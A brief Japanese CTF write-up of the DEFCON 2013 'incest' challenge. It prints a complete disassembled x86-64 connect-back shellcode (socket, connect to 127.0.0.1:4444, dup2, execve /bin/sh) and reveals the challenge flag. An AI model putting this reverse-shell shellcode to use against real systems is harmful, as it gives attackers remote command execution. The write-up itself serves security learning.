DEFCON CTF2013 incest writeup

DEFCON CTFの過去問を解いていきます。

 

binariesが欲しい方は前回の記事を参照してください。

 

3つめはShellcode100のincestです。

さすがShellcode100という感じの簡単さなので、ソースのみ。

DEFCON Writeup incest

 

mawから、keyとnetworkのfdをコマンドライン引数につけてsisという実行ファイルが呼び出されます。

sisではkeyのfdが始めにcloseされます。

上のソースの通り、sisはrecvで入力された文字列をShellcodeとして実行するため、connect back型のShellcodeを実行すればFLAGをそのまま手に入れることが出来ます。

64bitのShellcodeを書かなければならない点だけに留意すれば、特に問題はありません。

00000000  4831D2            xor rdx,rdx
00000003  4831C0            xor rax,rax
00000006  B202              mov dl,0x2
00000008  4889D7            mov rdi,rdx
0000000B  B201              mov dl,0x1
0000000D  4889D6            mov rsi,rdx
00000010  B206              mov dl,0x6
00000012  B029              mov al,0x29
00000014  0F05              syscall
00000016  4889C7            mov rdi,rax
00000019  4831C0            xor rax,rax
0000001C  50                push rax
0000001D  BB80010102        mov ebx,0x2010180
00000022  81EB01010101      sub ebx,0x1010101
00000028  48C1E320          shl rbx,0x20
0000002C  66B8115C          mov ax,0x5c11
00000030  C1E010            shl eax,0x10
00000033  B002              mov al,0x2
00000035  4809D8            or rax,rbx
00000038  50                push rax
00000039  4889E6            mov rsi,rsp
0000003C  4831D2            xor rdx,rdx
0000003F  B210              mov dl,0x10
00000041  4831C0            xor rax,rax
00000044  B02A              mov al,0x2a
00000046  0F05              syscall
00000048  4831F6            xor rsi,rsi
0000004B  4831C0            xor rax,rax
0000004E  B021              mov al,0x21
00000050  0F05              syscall
00000052  4831C0            xor rax,rax
00000055  B021              mov al,0x21
00000057  48FFC6            inc rsi
0000005A  0F05              syscall
0000005C  4831C0            xor rax,rax
0000005F  B021              mov al,0x21
00000061  48FFC6            inc rsi
00000064  0F05              syscall
00000066  4831F6            xor rsi,rsi
00000069  4831D2            xor rdx,rdx
0000006C  52                push rdx
0000006D  48BF2F2F62696E2F  mov rdi,0x68732f6e69622f2f
         -7368
00000077  57                push rdi
00000078  4889E7            mov rdi,rsp
0000007B  4831C0            xor rax,rax
0000007E  B03B              mov al,0x3b
00000080  0F05              syscall

f:id:potetisensei:20140216212035p:plain

 

The key is: k33p it in the family

 所要時間15分。